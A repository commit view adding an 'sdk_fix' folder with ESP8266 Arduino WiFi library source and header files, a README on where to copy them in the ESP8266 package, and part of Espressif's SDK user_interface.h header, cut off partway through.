IPAddress ESP8266WiFiClass::gatewayIP()
{
struct ip_info ip;
wifi_get_ip_info(STATION_IF, &ip);
return IPAddress(ip.gw.addr);
}
IPAddress ESP8266WiFiClass::dnsIP(int dns_no)
{
ip_addr_t dns_ip = dns_getserver(dns_no);
return IPAddress(dns_ip.addr);
}
String ESP8266WiFiClass::SSID() const
{
static struct station_config conf;
wifi_station_get_config(&conf);
return String(reinterpret_cast<char*>(conf.ssid));
}
String ESP8266WiFiClass::psk() const
{
static struct station_config conf;
wifi_station_get_config(&conf);
return String(reinterpret_cast<char*>(conf.password));
}
uint8_t* ESP8266WiFiClass::BSSID(void)
{
static struct station_config conf;
wifi_station_get_config(&conf);
return reinterpret_cast<uint8_t*>(conf.bssid);
}
String ESP8266WiFiClass::BSSIDstr(void)
{
static struct station_config conf;
char mac[18] = {0};
wifi_station_get_config(&conf);
sprintf(mac,"%02X:%02X:%02X:%02X:%02X:%02X", conf.bssid[0], conf.bssid[1], conf.bssid[2], conf.bssid[3], conf.bssid[4], conf.bssid[5]);
return String(mac);
}
int32_t ESP8266WiFiClass::channel(void) {
return wifi_get_channel();
}
int32_t ESP8266WiFiClass::RSSI(void) {
return wifi_station_get_rssi();
}
extern "C"
{
typedef STAILQ_HEAD(, bss_info) bss_info_head_t;
}
void ESP8266WiFiClass::_scanDone(void* result, int status)
{
if (status != OK)
{
ESP8266WiFiClass::_scanCount = 0;
ESP8266WiFiClass::_scanResult = 0;
}
else
{
int i = 0;
bss_info_head_t* head = reinterpret_cast<bss_info_head_t*>(result);
for (bss_info* it = STAILQ_FIRST(head); it; it = STAILQ_NEXT(it, next), ++i);
ESP8266WiFiClass::_scanCount = i;
if (i == 0)
{
ESP8266WiFiClass::_scanResult = 0;
}
else
{
bss_info* copied_info = new bss_info[i];
i = 0;
for (bss_info* it = STAILQ_FIRST(head); it; it = STAILQ_NEXT(it, next), ++i)
{
memcpy(copied_info + i, it, sizeof(bss_info));
}
ESP8266WiFiClass::_scanResult = copied_info;
}
}
ESP8266WiFiClass::_scanStarted = false;
ESP8266WiFiClass::_scanComplete = true;
if(!ESP8266WiFiClass::_scanAsync) {
esp_schedule();
}
}
int8_t ESP8266WiFiClass::scanComplete() {
if(_scanStarted) {
return WIFI_SCAN_RUNNING;
}
if(_scanComplete) {
return ESP8266WiFiClass::_scanCount;
}
return WIFI_SCAN_FAILED;
}
void ESP8266WiFiClass::scanDelete()
{
if (ESP8266WiFiClass::_scanResult)
{
delete[] reinterpret_cast<bss_info*>(ESP8266WiFiClass::_scanResult);
ESP8266WiFiClass::_scanResult = 0;
ESP8266WiFiClass::_scanCount = 0;
}
_scanComplete = false;
}
int8_t ESP8266WiFiClass::scanNetworks(bool async, bool show_hidden)
{
if(ESP8266WiFiClass::_scanStarted) {
return WIFI_SCAN_RUNNING;
}
ESP8266WiFiClass::_scanAsync = async;
if(_useApMode) {
// turn on AP+STA mode
_mode(WIFI_AP_STA);
} else {
// turn on STA mode
_mode(WIFI_STA);
}
int status = wifi_station_get_connect_status();
if (status != STATION_GOT_IP && status != STATION_IDLE)
{
disconnect();
}
scanDelete();
struct scan_config config;
config.ssid = 0;
config.bssid = 0;
config.channel = 0;
config.show_hidden = show_hidden;
if(wifi_station_scan(&config, reinterpret_cast<scan_done_cb_t>(&ESP8266WiFiClass::_scanDone))) {
ESP8266WiFiClass::_scanComplete = false;
ESP8266WiFiClass::_scanStarted = true;
if(ESP8266WiFiClass::_scanAsync) {
delay(0); // time for the OS to trigger the scan
return WIFI_SCAN_RUNNING;
}
esp_yield();
return ESP8266WiFiClass::_scanCount;
} else {
return WIFI_SCAN_FAILED;
}
}
void * ESP8266WiFiClass::_getScanInfoByIndex(int i)
{
if (!ESP8266WiFiClass::_scanResult || (size_t)i > ESP8266WiFiClass::_scanCount)
{
return 0;
}
return reinterpret_cast<bss_info*>(ESP8266WiFiClass::_scanResult) + i;
}
String ESP8266WiFiClass::SSID(uint8_t i)
{
struct bss_info* it = reinterpret_cast<struct bss_info*>(_getScanInfoByIndex(i));
if (!it)
return "";
return String(reinterpret_cast<const char*>(it->ssid));
}
uint8_t * ESP8266WiFiClass::BSSID(uint8_t i)
{
struct bss_info* it = reinterpret_cast<struct bss_info*>(_getScanInfoByIndex(i));
if (!it)
return 0;
return it->bssid;
}
String ESP8266WiFiClass::BSSIDstr(uint8_t i)
{
char mac[18] = {0};
struct bss_info* it = reinterpret_cast<struct bss_info*>(_getScanInfoByIndex(i));
if (!it)
return String("");
sprintf(mac,"%02X:%02X:%02X:%02X:%02X:%02X", it->bssid[0], it->bssid[1], it->bssid[2], it->bssid[3], it->bssid[4], it->bssid[5]);
return String(mac);
}
int32_t ESP8266WiFiClass::channel(uint8_t i)
{
struct bss_info* it = reinterpret_cast<struct bss_info*>(_getScanInfoByIndex(i));
if (!it)
return 0;
return it->channel;
}
bool ESP8266WiFiClass::isHidden(uint8_t i)
{
struct bss_info* it = reinterpret_cast<struct bss_info*>(_getScanInfoByIndex(i));
if (!it)
return false;
return (it->is_hidden != 0);
}
bool ESP8266WiFiClass::getNetworkInfo(uint8_t i, String &ssid, uint8_t &encType, int32_t &rssi, uint8_t* &bssid, int32_t &channel, bool &isHidden)
{
struct bss_info* it = reinterpret_cast<struct bss_info*>(_getScanInfoByIndex(i));
if (!it)
return false;
ssid = (const char*)it->ssid;
encType = encryptionType(i);
rssi = it->rssi;
bssid = it->bssid; // move ptr
channel = it->channel;
isHidden = (it->is_hidden != 0);
return true;
}
int32_t ESP8266WiFiClass::RSSI(uint8_t i)
{
struct bss_info* it = reinterpret_cast<struct bss_info*>(_getScanInfoByIndex(i));
if (!it)
return 0;
return it->rssi;
}
uint8_t ESP8266WiFiClass::encryptionType(uint8_t i)
{
struct bss_info* it = reinterpret_cast<struct bss_info*>(_getScanInfoByIndex(i));
if (!it)
return -1;
int authmode = it->authmode;
if (authmode == AUTH_OPEN)
return ENC_TYPE_NONE;
if (authmode == AUTH_WEP)
return ENC_TYPE_WEP;
if (authmode == AUTH_WPA_PSK)
return ENC_TYPE_TKIP;
if (authmode == AUTH_WPA2_PSK)
return ENC_TYPE_CCMP;
if (authmode == AUTH_WPA_WPA2_PSK)
return ENC_TYPE_AUTO;
return -1;
}
wl_status_t ESP8266WiFiClass::status()
{
int status = wifi_station_get_connect_status();
if (status == STATION_GOT_IP)
return WL_CONNECTED;
else if (status == STATION_NO_AP_FOUND)
return WL_NO_SSID_AVAIL;
else if (status == STATION_CONNECT_FAIL || status == STATION_WRONG_PASSWORD)
return WL_CONNECT_FAILED;
else if (status == STATION_IDLE)
return WL_IDLE_STATUS;
else
return WL_DISCONNECTED;
}
void wifi_dns_found_callback(const char *name, ip_addr_t *ipaddr, void *callback_arg)
{
if (ipaddr)
(*reinterpret_cast<IPAddress*>(callback_arg)) = ipaddr->addr;
esp_schedule(); // resume the hostByName function
}
int ESP8266WiFiClass::hostByName(const char* aHostname, IPAddress& aResult)
{
ip_addr_t addr;
aResult = static_cast<uint32_t>(0);
err_t err = dns_gethostbyname(aHostname, &addr, &wifi_dns_found_callback, &aResult);
if (err == ERR_OK)
{
aResult = addr.addr;
}
else if (err == ERR_INPROGRESS)
{
esp_yield();
// will return here when dns_found_callback fires
}
return (aResult != 0) ? 1 : 0;
}
String ESP8266WiFiClass::hostname(void) {
return String(wifi_station_get_hostname());
}
bool ESP8266WiFiClass::hostname(char* aHostname) {
if(strlen(aHostname) > 32) {
return false;
}
return wifi_station_set_hostname(aHostname);
}
bool ESP8266WiFiClass::hostname(const char* aHostname) {
return hostname((char*) aHostname);
}
bool ESP8266WiFiClass::hostname(String aHostname) {
return hostname((char*) aHostname.c_str());
}
//--------------------------------------------------------------
void wifi_wps_status_cb(wps_cb_status status)
{
DEBUGV("wps cb status: %d\r\n", status);
switch (status) {
case WPS_CB_ST_SUCCESS:
if(!wifi_wps_disable()) {
DEBUGV("wps disable failed\n");
}
wifi_station_connect();
break;
case WPS_CB_ST_FAILED:
DEBUGV("wps FAILED\n");
break;
case WPS_CB_ST_TIMEOUT:
DEBUGV("wps TIMEOUT\n");
break;
case WPS_CB_ST_WEP:
DEBUGV("wps WEP\n");
break;
}
// todo user function to get status
esp_schedule(); // resume the beginWPSConfig function
}
bool ESP8266WiFiClass::beginWPSConfig(void) {
_useClientMode = true;
if(_useApMode) {
// turn on AP+STA mode
_mode(WIFI_AP_STA);
} else {
// turn on STA mode
_mode(WIFI_STA);
}
disconnect();
DEBUGV("wps begin\n");
if(!wifi_wps_disable()) {
DEBUGV("wps disable failed\n");
return false;
}
// so far only WPS_TYPE_PBC is supported (SDK 1.2.0)
if(!wifi_wps_enable(WPS_TYPE_PBC)) {
DEBUGV("wps enable failed\n");
return false;
}
if(!wifi_set_wps_cb((wps_st_cb_t) &wifi_wps_status_cb)) {
DEBUGV("wps cb failed\n");
return false;
}
if(!wifi_wps_start()) {
DEBUGV("wps start failed\n");
return false;
}
esp_yield();
// will return here when wifi_wps_status_cb fires
return true;
}
//--------------------------------------------------------------
void ESP8266WiFiClass::beginSmartConfig()
{
if (_smartConfigStarted)
return;
if(_useApMode) {
// turn on AP+STA mode
_mode(WIFI_AP_STA);
} else {
// turn on STA mode
_mode(WIFI_STA);
}
_smartConfigStarted = true;
_smartConfigDone = false;
//SC_TYPE_ESPTOUCH use ESPTOUCH for smartconfig, or use SC_TYPE_AIRKISS for AIRKISS
smartconfig_start(reinterpret_cast<sc_callback_t>(&ESP8266WiFiClass::_smartConfigCallback), 1);
}
void ESP8266WiFiClass::stopSmartConfig()
{
if (!_smartConfigStarted)
return;
smartconfig_stop();
_smartConfigStarted = false;
}
bool ESP8266WiFiClass::smartConfigDone()
{
if (!_smartConfigStarted)
return false;
return _smartConfigDone;
}
void ESP8266WiFiClass::_smartConfigCallback(uint32_t st, void* result)
{
sc_status status = (sc_status) st;
if (status == SC_STATUS_LINK) {
station_config* sta_conf = reinterpret_cast<station_config*>(result);
wifi_station_set_config(sta_conf);
wifi_station_disconnect();
wifi_station_connect();
WiFi._smartConfigDone = true;
}
else if (status == SC_STATUS_LINK_OVER) {
WiFi.stopSmartConfig();
}
}
//--------------------------------------------------------------
void ESP8266WiFiClass::_eventCallback(void* arg)
{
System_Event_t* event = reinterpret_cast<System_Event_t*>(arg);
DEBUGV("wifi evt: %d\r\n", event->event);
if (event->event == EVENT_STAMODE_DISCONNECTED) {
WiFiClient::stopAll();
}
}
void ESP8266WiFiClass::printDiag(Print& p)
{
const char* modes[] = {"NULL", "STA", "AP", "STA+AP"};
p.print("Mode: ");
p.println(modes[wifi_get_opmode()]);
const char* phymodes[] = {"", "B", "G", "N"};
p.print("PHY mode: ");
p.println(phymodes[(int) wifi_get_phy_mode()]);
p.print("Channel: ");
p.println(wifi_get_channel());
p.print("AP id: ");
p.println(wifi_station_get_current_ap_id());
p.print("Status: ");
p.println(wifi_station_get_connect_status());
p.print("Auto connect: ");
p.println(wifi_station_get_auto_connect());
static struct station_config conf;
wifi_station_get_config(&conf);
const char* ssid = reinterpret_cast<const char*>(conf.ssid);
p.print("SSID (");
p.print(strlen(ssid));
p.print("): ");
p.println(ssid);
const char* passphrase = reinterpret_cast<const char*>(conf.password);
p.print("Passphrase (");
p.print(strlen(passphrase));
p.print("): ");
p.println(passphrase);
p.print("BSSID set: ");
p.println(conf.bssid_set);
}
bool ESP8266WiFiClass::_scanAsync = false;
bool ESP8266WiFiClass::_scanStarted = false;
bool ESP8266WiFiClass::_scanComplete = false;
size_t ESP8266WiFiClass::_scanCount = 0;
void* ESP8266WiFiClass::_scanResult = 0;
ESP8266WiFiClass WiFi;

403
sdk_fix/ESP8266WiFi.h Normal file
View File

@@ -0,0 +1,403 @@
/*
ESP8266WiFi.h - esp8266 Wifi support.
Based on WiFi.h from Ardiono WiFi shield library.
Copyright (c) 2011-2014 Arduino. All right reserved.
Modified by Ivan Grokhotkov, December 2014
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#ifndef WiFi_h
#define WiFi_h
#include <stdint.h>
extern "C" {
#include "include/wl_definitions.h"
}
#include "IPAddress.h"
#include "WiFiClient.h"
#include "WiFiServer.h"
#include "WiFiClientSecure.h"
#define WIFI_SCAN_RUNNING (-1)
#define WIFI_SCAN_FAILED (-2)
enum WiFiMode { WIFI_OFF = 0, WIFI_STA = 1, WIFI_AP = 2, WIFI_AP_STA = 3 };
class ESP8266WiFiClass
{
public:
ESP8266WiFiClass();
void persistent(bool persistent);
void mode(WiFiMode);
WiFiMode getMode();
/**
* Start Wifi connection
* if passphrase is set the most secure supported mode will be automatically selected
* @param ssid const char* Pointer to the SSID string.
* @param passphrase const char * Optional. Passphrase. Valid characters in a passphrase must be between ASCII 32-126 (decimal).
* @param bssid uint8_t[6] Optional. BSSID / MAC of AP
* @param channel Optional. Channel of AP
* @return
*/
int begin(const char* ssid, const char *passphrase = NULL, int32_t channel = 0, const uint8_t* bssid = NULL);
int begin(char* ssid, char *passphrase = NULL, int32_t channel = 0, const uint8_t* bssid = NULL);
// Use sdk config to connect.
int begin();
/* Wait for Wifi connection to reach a result
* returns the status reached or disconnect if STA is off
*/
uint8_t waitForConnectResult();
/* Set up an open access point
*
* param ssid: Pointer to the SSID string.
*/
void softAP(const char* ssid);
/* Set up a WPA2-secured access point
*
* param ssid: Pointer to the SSID string.
* param passphrase: Pointer to passphrase, 8 characters min.
* param channel: WiFi channel number, 1 - 13.
* param ssid_hidden: Network cloaking? 0 = broadcast SSID, 1 = hide SSID
*/
void softAP(const char* ssid, const char* passphrase, int channel = 1, int ssid_hidden = 0);
/* Change Ip configuration settings disabling the dhcp client
*
* param local_ip: Static ip configuration
* param gateway: Static gateway configuration
* param subnet: Static Subnet mask
*/
void config(IPAddress local_ip, IPAddress gateway, IPAddress subnet);
/* Change Ip configuration settings disabling the dhcp client
*
* param local_ip: Static ip configuration
* param gateway: Static gateway configuration
* param subnet: Static Subnet mask
* param dns: Defined DNS
*/
void config(IPAddress local_ip, IPAddress gateway, IPAddress subnet, IPAddress dns);
/* Configure access point
*
* param local_ip: access point IP
* param gateway: gateway IP
* param subnet: subnet mask
*/
void softAPConfig(IPAddress local_ip, IPAddress gateway, IPAddress subnet);
/*
* Disconnect from the network (close AP)
*
* return: one value of wl_status_t enum
*/
int softAPdisconnect(bool wifioff = false);
/*
* Disconnect from the network
*
* return: one value of wl_status_t enum
*/
int disconnect(bool wifioff = false);
/*
* Get the station interface MAC address.
*
* return: pointer to uint8_t array with length WL_MAC_ADDR_LENGTH
* return: String
*/
uint8_t* macAddress(uint8_t* mac);
String macAddress(void);
/*
* Get the softAP interface MAC address.
*
* return: pointer to uint8_t array with length WL_MAC_ADDR_LENGTH
* return: String
*/
uint8_t* softAPmacAddress(uint8_t* mac);
String softAPmacAddress(void);
/*
* Get the station interface IP address.
*
* return: Ip address value
*/
IPAddress localIP();
/*
* Get the softAP interface IP address.
*
* return: Ip address value
*/
IPAddress softAPIP();
/*
* Get the interface subnet mask address.
*
* return: subnet mask address value
*/
IPAddress subnetMask();
/*
* Get the gateway ip address.
*
* return: gateway ip address value
*/
IPAddress gatewayIP();
/*
* Get the DNS ip address.
*
* return: DNS ip address value
*/
IPAddress dnsIP(int dns_no = 0);
/*
* Return the current SSID associated with the network
*
* return: ssid string
*/
String SSID() const;
/*
* Return the current pre shared key associated with the network
*
* return: psk string
*/
String psk() const;
/*
* Return the current bssid / mac associated with the network if configured
*
* return: bssid uint8_t *
*/
uint8_t *BSSID(void);
/*
* Return the current bssid / mac associated with the network if configured
*
* return: bssid string
*/
String BSSIDstr(void);
/*
* Return the current channel associated with the network
*
* return: channel
*/
int32_t channel(void);
/*
* Return the current network RSSI.
*
* return: RSSI value
*/
int32_t RSSI();
/*
* called to get the scan state in Async mode
*
* return -1 if scan not fin
* return -2 if scan not triggered
*/
int8_t scanComplete();
/*
* delete last scan result from RAM
*/
void scanDelete();
/*
* Start scan WiFi networks available
*
* return: Number of discovered networks
*/
int8_t scanNetworks(bool async = false, bool show_hidden = false);
/*
* Return the SSID discovered during the network scan.
*
* param networkItem: specify from which network item want to get the information
*
* return: ssid string of the specified item on the networks scanned list
*/
String SSID(uint8_t networkItem);
/*
* Return the encryption type of the networks discovered during the scanNetworks
*
* param networkItem: specify from which network item want to get the information
*
* return: encryption type (enum wl_enc_type) of the specified item on the networks scanned list
*/
uint8_t encryptionType(uint8_t networkItem);
/*
* Return the RSSI of the networks discovered during the scanNetworks
*
* param networkItem: specify from which network item want to get the information
*
* return: signed value of RSSI of the specified item on the networks scanned list
*/
int32_t RSSI(uint8_t networkItem);
/**
* return MAC / BSSID of scanned wifi
* @param networkItem specify from which network item want to get the information
* @return uint8_t * MAC / BSSID of scanned wifi
*/
uint8_t * BSSID(uint8_t networkItem);
/**
* return MAC / BSSID of scanned wifi
* @param networkItem specify from which network item want to get the information
* @return String MAC / BSSID of scanned wifi
*/
String BSSIDstr(uint8_t networkItem);
/**
* return channel of scanned wifi
* @param networkItem specify from which network item want to get the information
* @return uint32_t channel of scanned wifi
*/
int32_t channel(uint8_t networkItem);
/**
* return if the scanned wifi is Hidden (no SSID)
* @param networkItem specify from which network item want to get the information
* @return bool (true == hidden)
*/
bool isHidden(uint8_t networkItem);
/**
* loads all infos from a scanned wifi in to the ptr parameters
* @param networkItem uint8_t
* @param ssid const char**
* @param encryptionType uint8_t *
* @param RSSI int32_t *
* @param BSSID uint8_t **
* @param channel int32_t *
* @param isHidden bool *
* @return (true if ok)
*/
bool getNetworkInfo(uint8_t networkItem, String &ssid, uint8_t &encryptionType, int32_t &RSSI, uint8_t* &BSSID, int32_t &channel, bool &isHidden);
/*
* Return Connection status.
*
* return: one of the value defined in wl_status_t
*/
wl_status_t status();
/*
* Resolve the given hostname to an IP address.
* param aHostname: Name to be resolved
* param aResult: IPAddress structure to store the returned IP address
* result: 1 if aIPAddrString was successfully converted to an IP address,
* else error code
*/
int hostByName(const char* aHostname, IPAddress& aResult);
/*
* Get ESP8266 station DHCP hostname
*/
String hostname(void);
/*
* Set ESP8266 station DHCP hostname
* hostname, max length:32
*/
bool hostname(char* aHostname);
bool hostname(const char* aHostname);
bool hostname(String aHostname);
/**
* WPS config
* so far only WPS_TYPE_PBC is supported (SDK 1.2.0)
*/
bool beginWPSConfig(void);
/*
* Output WiFi settings to an object derived from Print interface (like Serial).
*
*/
void printDiag(Print& dest);
/*
* Start SmartConfig
*
*/
void beginSmartConfig();
/*
* Query SmartConfig status, to decide when stop config
*
*/
bool smartConfigDone();
/*
* Stop SmartConfig
*
*/
void stopSmartConfig();
friend class WiFiClient;
friend class WiFiServer;
protected:
void _mode(WiFiMode);
static void _scanDone(void* result, int status);
void * _getScanInfoByIndex(int i);
static void _smartConfigCallback(uint32_t status, void* result);
static void _eventCallback(void *event);
bool _smartConfigStarted;
bool _smartConfigDone;
bool _useApMode;
bool _useClientMode;
bool _useStaticIp;
bool _persistent;
static bool _scanAsync;
static bool _scanStarted;
static bool _scanComplete;
static size_t _scanCount;
static void* _scanResult;
};
extern ESP8266WiFiClass WiFi;
#endif

4
sdk_fix/README.txt Normal file
View File

@@ -0,0 +1,4 @@
Copy these files and past them at the location.
user_interface ---> \packages\esp8266\hardware\esp8266\2.0.0\tools\sdk\include
ESP8266WiFi.cpp and ESP8266WiFi.h ---> \packages\esp8266\hardware\esp8266\2.0.0\libraries\ESP8266WiFi\src

455
sdk_fix/user_interface.h Normal file
View File

@@ -0,0 +1,455 @@
/*
* Copyright (C) 2013 -2014 Espressif System
*
*/
#ifndef __USER_INTERFACE_H__
#define __USER_INTERFACE_H__
#include "os_type.h"
#ifdef LWIP_OPEN_SRC
#include "lwip/ip_addr.h"
#else
#include "ip_addr.h"
#endif
#include "queue.h"
#include "user_config.h"
#include "spi_flash.h"
#ifndef MAC2STR
#define MAC2STR(a) (a)[0], (a)[1], (a)[2], (a)[3], (a)[4], (a)[5]
#define MACSTR "%02x:%02x:%02x:%02x:%02x:%02x"
#endif
enum rst_reason {
REASON_DEFAULT_RST = 0,
REASON_WDT_RST = 1,
REASON_EXCEPTION_RST = 2,
REASON_SOFT_WDT_RST = 3,
REASON_SOFT_RESTART = 4,
REASON_DEEP_SLEEP_AWAKE = 5,
REASON_EXT_SYS_RST = 6
};
struct rst_info{
uint32 reason;
uint32 exccause;
uint32 epc1;
uint32 epc2;
uint32 epc3;
uint32 excvaddr;
uint32 depc;
};
struct rst_info* system_get_rst_info(void);
#define UPGRADE_FW_BIN1 0x00
#define UPGRADE_FW_BIN2 0x01
void system_restore(void);
void system_restart(void);
bool system_deep_sleep_set_option(uint8 option);
void system_deep_sleep(uint32 time_in_us);
uint8 system_upgrade_userbin_check(void);
void system_upgrade_reboot(void);
uint8 system_upgrade_flag_check();
void system_upgrade_flag_set(uint8 flag);
void system_timer_reinit(void);
uint32 system_get_time(void);
/* user task's prio must be 0/1/2 !!!*/
enum {
USER_TASK_PRIO_0 = 0,
USER_TASK_PRIO_1,
USER_TASK_PRIO_2,
USER_TASK_PRIO_MAX
};
bool system_os_task(os_task_t task, uint8 prio, os_event_t *queue, uint8 qlen);
bool system_os_post(uint8 prio, os_signal_t sig, os_param_t par);
void system_print_meminfo(void);
uint32 system_get_free_heap_size(void);
void system_set_os_print(uint8 onoff);
uint8 system_get_os_print();
uint64 system_mktime(uint32 year, uint32 mon, uint32 day, uint32 hour, uint32 min, uint32 sec);
uint32 system_get_chip_id(void);
typedef void (* init_done_cb_t)(void);
void system_init_done_cb(init_done_cb_t cb);
uint32 system_rtc_clock_cali_proc(void);
uint32 system_get_rtc_time(void);
bool system_rtc_mem_read(uint8 src_addr, void *des_addr, uint16 load_size);
bool system_rtc_mem_write(uint8 des_addr, const void *src_addr, uint16 save_size);
void system_uart_swap(void);
void system_uart_de_swap(void);
uint16 system_adc_read(void);
uint16 system_get_vdd33(void);
const char *system_get_sdk_version(void);
#define SYS_BOOT_ENHANCE_MODE 0
#define SYS_BOOT_NORMAL_MODE 1
#define SYS_BOOT_NORMAL_BIN 0
#define SYS_BOOT_TEST_BIN 1
uint8 system_get_boot_version(void);
uint32 system_get_userbin_addr(void);
uint8 system_get_boot_mode(void);
bool system_restart_enhance(uint8 bin_type, uint32 bin_addr);
#define SYS_CPU_80MHZ 80
#define SYS_CPU_160MHZ 160
bool system_update_cpu_freq(uint8 freq);
uint8 system_get_cpu_freq(void);
enum flash_size_map {
FLASH_SIZE_4M_MAP_256_256 = 0,
FLASH_SIZE_2M,
FLASH_SIZE_8M_MAP_512_512,
FLASH_SIZE_16M_MAP_512_512,
FLASH_SIZE_32M_MAP_512_512,
FLASH_SIZE_16M_MAP_1024_1024,
FLASH_SIZE_32M_MAP_1024_1024
};
enum flash_size_map system_get_flash_size_map(void);
void system_phy_set_max_tpw(uint8 max_tpw);
void system_phy_set_tpw_via_vdd33(uint16 vdd33);
void system_phy_set_rfoption(uint8 option);
bool system_param_save_with_protect(uint16 start_sec, void *param, uint16 len);
bool system_param_load(uint16 start_sec, uint16 offset, void *param, uint16 len);
void system_soft_wdt_stop(void);
void system_soft_wdt_restart(void);
void system_soft_wdt_feed(void);
#define NULL_MODE 0x00
#define STATION_MODE 0x01
#define SOFTAP_MODE 0x02
#define STATIONAP_MODE 0x03
typedef enum _auth_mode {
AUTH_OPEN = 0,
AUTH_WEP,
AUTH_WPA_PSK,
AUTH_WPA2_PSK,
AUTH_WPA_WPA2_PSK,
AUTH_MAX
} AUTH_MODE;
uint8 wifi_get_opmode(void);
uint8 wifi_get_opmode_default(void);
bool wifi_set_opmode(uint8 opmode);
bool wifi_set_opmode_current(uint8 opmode);
uint8 wifi_get_broadcast_if(void);
bool wifi_set_broadcast_if(uint8 interface);
struct bss_info {
STAILQ_ENTRY(bss_info) next;
uint8 bssid[6];
uint8 ssid[32];
uint8 channel;
sint8 rssi;
AUTH_MODE authmode;
uint8 is_hidden;
sint16 freq_offset;
};
typedef struct _scaninfo {
STAILQ_HEAD(, bss_info) *pbss;
struct espconn *pespconn;
uint8 totalpage;
uint8 pagenum;
uint8 page_sn;
uint8 data_cnt;
} scaninfo;
typedef void (* scan_done_cb_t)(void *arg, STATUS status);
struct station_config {
uint8 ssid[32];
uint8 password[64];
uint8 bssid_set; // Note: If bssid_set is 1, station will just connect to the router
// with both ssid[] and bssid[] matched. Please check about this.
uint8 bssid[6];
};
bool wifi_station_get_config(struct station_config *config);
bool wifi_station_get_config_default(struct station_config *config);
bool wifi_station_set_config(struct station_config *config);
bool wifi_station_set_config_current(struct station_config *config);
bool wifi_station_connect(void);
bool wifi_station_disconnect(void);
sint8 wifi_station_get_rssi(void);
struct scan_config {
uint8 *ssid; // Note: ssid == NULL, don't filter ssid.
uint8 *bssid; // Note: bssid == NULL, don't filter bssid.
uint8 channel; // Note: channel == 0, scan all channels, otherwise scan set channel.
uint8 show_hidden; // Note: show_hidden == 1, can get hidden ssid routers' info.
};
bool wifi_station_scan(struct scan_config *config, scan_done_cb_t cb);
uint8 wifi_station_get_auto_connect(void);
bool wifi_station_set_auto_connect(uint8 set);
bool wifi_station_set_reconnect_policy(bool set);
enum {
STATION_IDLE = 0,
STATION_CONNECTING,
STATION_WRONG_PASSWORD,
STATION_NO_AP_FOUND,
STATION_CONNECT_FAIL,
STATION_GOT_IP
};
enum dhcp_status {
DHCP_STOPPED,
DHCP_STARTED
};
uint8 wifi_station_get_connect_status(void);
uint8 wifi_station_get_current_ap_id(void);
bool wifi_station_ap_change(uint8 current_ap_id);
bool wifi_station_ap_number_set(uint8 ap_number);
uint8 wifi_station_get_ap_info(struct station_config config[]);
bool wifi_station_dhcpc_start(void);
bool wifi_station_dhcpc_stop(void);
enum dhcp_status wifi_station_dhcpc_status(void);
char* wifi_station_get_hostname(void);
bool wifi_station_set_hostname(char *name);
struct softap_config {
uint8 ssid[32];
uint8 password[64];
uint8 ssid_len; // Note: Recommend to set it according to your ssid
uint8 channel; // Note: support 1 ~ 13
AUTH_MODE authmode; // Note: Don't support AUTH_WEP in softAP mode.
uint8 ssid_hidden; // Note: default 0
uint8 max_connection; // Note: default 4, max 4
uint16 beacon_interval; // Note: support 100 ~ 60000 ms, default 100
};
bool wifi_softap_get_config(struct softap_config *config);
bool wifi_softap_get_config_default(struct softap_config *config);
bool wifi_softap_set_config(struct softap_config *config);
bool wifi_softap_set_config_current(struct softap_config *config);
struct station_info {
STAILQ_ENTRY(station_info) next;
uint8 bssid[6];
struct ip_addr ip;
};
struct dhcps_lease {
struct ip_addr start_ip;
struct ip_addr end_ip;
};
enum dhcps_offer_option{
OFFER_START = 0x00,
OFFER_ROUTER = 0x01,
OFFER_END
};
uint8 wifi_softap_get_station_num(void);
struct station_info * wifi_softap_get_station_info(void);
void wifi_softap_free_station_info(void);
bool wifi_softap_dhcps_start(void);
bool wifi_softap_dhcps_stop(void);
bool wifi_softap_set_dhcps_lease(struct dhcps_lease *please);
bool wifi_softap_get_dhcps_lease(struct dhcps_lease *please);
enum dhcp_status wifi_softap_dhcps_status(void);
bool wifi_softap_set_dhcps_offer_option(uint8 level, void* optarg);
#define STATION_IF 0x00
#define SOFTAP_IF 0x01
bool wifi_get_ip_info(uint8 if_index, struct ip_info *info);
bool wifi_set_ip_info(uint8 if_index, struct ip_info *info);
bool wifi_get_macaddr(uint8 if_index, uint8 *macaddr);
bool wifi_set_macaddr(uint8 if_index, uint8 *macaddr);
uint8 wifi_get_channel(void);
bool wifi_set_channel(uint8 channel);
void wifi_status_led_install(uint8 gpio_id, uint32 gpio_name, uint8 gpio_func);
void wifi_status_led_uninstall();
/** Get the absolute difference between 2 u32_t values (correcting overflows)
* 'a' is expected to be 'higher' (without overflow) than 'b'. */
#define ESP_U32_DIFF(a, b) (((a) >= (b)) ? ((a) - (b)) : (((a) + ((b) ^ 0xFFFFFFFF) + 1)))
void wifi_promiscuous_enable(uint8 promiscuous);
typedef void (* wifi_promiscuous_cb_t)(uint8 *buf, uint16 len);
void wifi_set_promiscuous_rx_cb(wifi_promiscuous_cb_t cb);
void wifi_promiscuous_set_mac(const uint8_t *address);
enum phy_mode {
PHY_MODE_11B = 1,
PHY_MODE_11G = 2,
PHY_MODE_11N = 3
};
enum phy_mode wifi_get_phy_mode(void);
bool wifi_set_phy_mode(enum phy_mode mode);
enum sleep_type {
NONE_SLEEP_T = 0,
LIGHT_SLEEP_T,
MODEM_SLEEP_T
};
bool wifi_set_sleep_type(enum sleep_type type);
enum sleep_type wifi_get_sleep_type(void);
enum {
EVENT_STAMODE_CONNECTED = 0,
EVENT_STAMODE_DISCONNECTED,
EVENT_STAMODE_AUTHMODE_CHANGE,
EVENT_STAMODE_GOT_IP,
EVENT_SOFTAPMODE_STACONNECTED,
EVENT_SOFTAPMODE_STADISCONNECTED,
EVENT_MAX
};
enum {
REASON_UNSPECIFIED = 1,
REASON_AUTH_EXPIRE = 2,
REASON_AUTH_LEAVE = 3,
REASON_ASSOC_EXPIRE = 4,
REASON_ASSOC_TOOMANY = 5,
REASON_NOT_AUTHED = 6,
REASON_NOT_ASSOCED = 7,
REASON_ASSOC_LEAVE = 8,
REASON_ASSOC_NOT_AUTHED = 9,
REASON_DISASSOC_PWRCAP_BAD = 10, /* 11h */
REASON_DISASSOC_SUPCHAN_BAD = 11, /* 11h */
REASON_IE_INVALID = 13, /* 11i */
